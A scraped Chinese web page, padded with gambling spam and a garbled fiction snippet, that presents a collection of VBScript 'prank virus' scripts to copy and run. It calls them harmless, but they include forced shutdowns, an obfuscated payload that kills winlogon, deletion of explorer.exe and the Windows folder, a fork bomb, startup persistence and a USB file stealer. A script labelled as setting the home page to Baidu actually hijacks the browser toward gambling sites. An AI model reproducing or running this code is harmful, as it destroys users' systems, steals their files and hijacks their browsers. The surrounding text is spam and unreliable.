发乐发彩票害死多少

2016-12-15  瑞博国际娱乐城

本文地址:http://080.o068.com/content/16/1215/13/20109635_614882330.shtml
文章摘要:发乐发彩票害死多少,手中刚才与女杀手之间留下了低头沉思 ,甚至她还看到对方露出了一丝狞笑他。

恶作剧(病毒)的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了

打开记事本,把代码复制粘贴进去,再另存为*.vbs格式即可

操作方法:把代码另存为*.VBS运行即可

经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束wcscript.exe进程(如下图)即可解决代码的破坏。

结束VBS代码进程

vbs恶作剧(病毒)程序代码 代码如下:

复制代码 代码如下:

do

msgbox "hi"

loop

无限制的用英文报数

复制代码 代码如下:

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

复制代码 代码如下:

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 系统将立刻重起wow ~_^",,"你上当了!!"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

复制代码 代码如下:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

next

Execute runner

这个没什么,不过加密了,大家可以解密试试

复制代码 代码如下:

if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes then

msgbox "你SB啊!"

else

msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"

Set ws = CreateObject("Wscript.Shell")

wscript.sleep 1200

ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide

end if

复制代码 代码如下:

Set ws = CreateObject("Wscript.Shell")

ws.run "cmd.exe /c call calc.exe",0

下面的是删除explorer.exe,导致桌面没有显示,不过它事先帮你备份了,为同目录下的explorer.Data

复制代码 代码如下:

set ws=CreateObject("Wscript.Shell")

ws.run "cmd.exe /c taskkill /f /im explorer.exe",0

wscript.sleep 900

ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"

wscript.sleep 1200

ws.run "cmd.exe /c del /q /f %windir%\explorer.exe

复制代码 代码如下:

for each wind in verybat

ws.sendkeys wind

wscript.sleep 500

next

ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30

ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8

ws.run "taskkill /f /im qq.exe"

ws.popup"你还要上吧 慢慢玩哦",27

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

for d=0 to 4

WSHshell.SendKeys "%{F4}"

next

ws.run"shutdown -s -t 1000600"

wscript.sleep 2000

dim a

do

a=inputbox("请输入解除关机密码")

if a="403746401" then

ws.run"shutdown -a"

msgbox"密码验证成功,enjoy the best!"

exit do

else

msgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancel

end if

loop

ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57

ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62

wscript.sleep 8900

do until i=10

i=i+1

msgbox "CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:"

wscript.sleep 1000*45

loop

关机

复制代码 代码如下:

set sh=wscript.createobject("wscript.shell")

sh.run"shutdown -s -t 332"

关闭当前打开的多个窗口

复制代码 代码如下:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

for d=0 to 40

WSHshell.SendKeys "%{F4}"

next

复制代码 代码如下:

dim a,b,c,s

Set fs=CreateObject("Scripting.FileSystemObject")

name = WScript.ScriptName

fullname = WScript.ScriptFullName

path = Replace(fullname,name,"")

a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")

If a = ""Then

WScript.Quit

End If

MyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:")

If MyVar=vbYes Then

ElseIf MyVar=vbNo Then

a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")

If a = ""Then

WScript.Quit

End If

End If

wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好")

If b = ""Then

WScript.Quit

End If

wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02")

If c = ""Then

WScript.Quit

End If

wscript.sleep 1000age = abs(datediff("d",date,c))

wscript.sleep 1

current = now()

h=datepart("h",current)

n=datepart("n",current)

WScript.Sleep 1000

s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示:")

if s=2 then

end if

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true)

auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍:"""

auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&""

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true)

auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."

auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了"

auto.WriteLine "时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。"

复制代码 代码如下:

dim a

a=10

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 10",,true

Set s = CreateObject("sapi.spvoice")

while a

s.Speak a

a = a - 1

wscript.sleep 100

wend

CreateObject("SAPI.SpVoice").Speak "Bomb?"

复制代码 代码如下:

do

createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)

loop

复制代码 代码如下:

msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.Run "cmd.exe /c shutdown -s -t 300"

wscript.sleep 2000

dim a

do

a=inputbox("输入abc,否则关机。")

if a="abc" then

msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧!"

exit do

else

msgbox"乖点,输入abc"

end if

loop

复制代码 代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox "乖"

loop

msgbox "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox "自己骂自己的不要脸~~~~~~",4, " "

复制代码 代码如下:

msgbox"你是不是很无聊啊?",4

msgbox"我来陪你玩会儿"

msgbox"做好玩儿的准备吧!"

do

msgbox"你无聊吗?",vbinformation,"你无聊吗?"

loop

复制代码 代码如下:

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

这个太可恶了 只好重启

复制代码 代码如下:

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

复制代码 代码如下:

Dim AutoRunProgram

Set AutoRunProgram = WScript.CreateObject("WScript.shell")

RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"

Type_Name = "REG_SZ"

Key_Name = "QUESTION.vbS"

Key_data = "C:\windows\system32\QUESTION.vbs"

AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name

Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Set fso = CreateObject("Scripting.FileSystemObject")

f = fso.DeleteFile(WScript.ScriptName)

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

复制代码 代码如下:

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

复制代码 代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹,快喊"" ",0 ,true

dim a

do while(a <> "爹")

a = inputbox ("喊我爹,快撒,喊 ""爹"" ","喊不喊","不喊",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "儿子"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

复制代码 代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我,不说你爱我就两分钟关你机,不信,试试···"" ",0 ,true

dim a

do while(a <> "我爱你")

a = inputbox ("说你爱我,就不关机,快撒,说 ""你爱我"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,何必这么费劲"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,今天真过瘾

复制代码 代码如下:

i = MsgBox("由于你灌水太水需要爆破电脑。"&_

vbCrLf&"确定爆破吗?",vbOKCancel,_

"爆破电脑系统!!!!!")

if i = 1 then

CreateObject("SAPI.SpVoice").Speak "bone"

end if

复制代码 代码如下:

On Error Resume Next

Dim i

i=0

Set fso=CreateObject("Scripting.FileSystemObject")

IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:")

ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt")

MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗")

fso.CreateFolder(MyFolder)

Do

WScript.Sleep 1000

If fso.FolderExists(IP & "\") Then Exit Do

Loop

Scan(IP & "\")

Sub Scan(Folder_)

On Error Resume Next

Set Folder_=fso.GetFolder(Folder_)

Set Files=Folder_.Files

For Each File in Files

ext_=fso.GetExtensionName(File)

ext_=Lcase(ext_)

ext=Lcase(ext)

If ext_=ext Then

i=i+1

fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)

End If

Next

Set SubFolders=Folder_.SubFolders

For Each SubFolder In SubFolders

Scan(Subfolder)

Next

End Sub

复制代码 代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true

dim a

do while(a <> "不重,不重,我就不重!")

a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"

msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"

msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"

msgbox chr(13) + chr(13) + chr(13) + "88~"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox " " + chr(14) + "~"

Dim a

Set a = CreateObject("Scripting.FileSystemObject")

a.DeleteFolder ("C:\WINDOWS")

不是死循环了,是让你死机了,重启吧

复制代码 代码如下:

msgbox"让你见识一下啥叫狠毒!"

do

set ws=createobjecet("wscript.shell")

ws.run"explorer.exe"

ws.run"cmd.exe"

loop

复制代码 代码如下:

on error resume next

msgbox"即将格式化!请做好准备!",vbyesno

msgbox"准备好后点yes!",vbyesno

msgbox"sorry,忘说了,点no也行!"

msgbox"我对不起你啊!呜呜呜555哈哈哈哈!"

msgbox"靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"

msgbox"被人研究!"

msgbox"就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"

msgbox"你咋还笑?!是时候惩罚你了!"

do

set ws=createobjecet("wscript.shell")

ws.run"explorer.exe"

ws.run"cmd.exe"

ws.run"cmd.exe /c shutdown -s -t 7200",,ture

loop

发个特整人的东西

复制代码 代码如下:

set s.createobject("wscript.shell")

lsfile=wscript.scriptfullname '获得自己的名称

do '死循环

s.run lsfile '自己运行自己

s.run "notepad" '运行记事本

loop '几秒就死机,哈

来个绿色的,无毒无害的:

复制代码 代码如下:

dim a

set a=createobject("sapi.spvoice")

a.speak "ha ha ha ha hahahahahahaha"

注:ha ha ha... 可以改为几句粗话!!

输入中文后英文要取决于你的电脑会讲英文还是中文!

复制代码 代码如下:

dim a

a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作")

if a=vbyes then

do

msgbox("从前有座山")

msgbox("山上有座庙")

msgbox("庙里有两个和尚")

msgbox("大和尚给小和尚讲故事说")

a=1

loop while a=1

end if

将默认页,搜索页设置百度

复制代码 代码如下:

if msgbox("这是被封印的东西",65,"警告!!!") = 1 then

if msgbox("请不要一意孤行",65,"警告!!!") =1 then

if msgbox("不要再按了!!",65,"警告!!!") =1 then

if msgbox("气死我了.....",65,"警告!!!") =1 then

if msgbox("既然这样...那么这个东西就归你了!",65,"祝你愉快!886") =1 then

msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快!886"

msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了!!!!",65,"封印解除!!"

on error resume next

dim fso,wsh,myfile,ws,pp,fsoFolder

set wsh=wscript.createobject("wscript.shell")

set fso=wscript.createobject("scripting.filesystemobject")

set myfile=fso.GetFile(wscript.scriptfullname)

wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.671.www-7788msc.com"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.sbp111.com/428"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://080.o068.com/896"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.5w8.429v.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://080.o068.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.o068.com/871"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.eb662.com/405"

复制代码 代码如下:

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

set WshShell = CreateObject("wscript.Shell")

WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0

Do While answer<>"我是猪"

answer=InputBox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000)

Loop

WshShell.Run "Shutdown /a",0

MsgBox "哈哈哈,好玩不?",,"哈哈哈"


    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。如发现有害或侵权内容,请点击这里 或 拨打24小时举报电话:4000070609 与我们联系。

    猜你喜欢

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多
    喜欢该文的人也喜欢 更多

    全讯直播网手机app AB亚洲馆线上网址直营网 瑞博国际娱乐城 瑞博国际娱乐城 EG电子游戏登入
    大富豪彩票湖北快三 j8彩票直营网登入 恒彩线路检测 w88优德娱乐中文登入 太阳城游戏乐天堂
    通博彩票网加拿大28 万博MG电子 奇迹娱乐代理 天天娱乐主管44144登入 威尼斯人网址开户登入
    重庆时时彩官网 bet365娱乐场开户手机app 赌王游戏登入 澳门赌场新闻直营网 银河国际博彩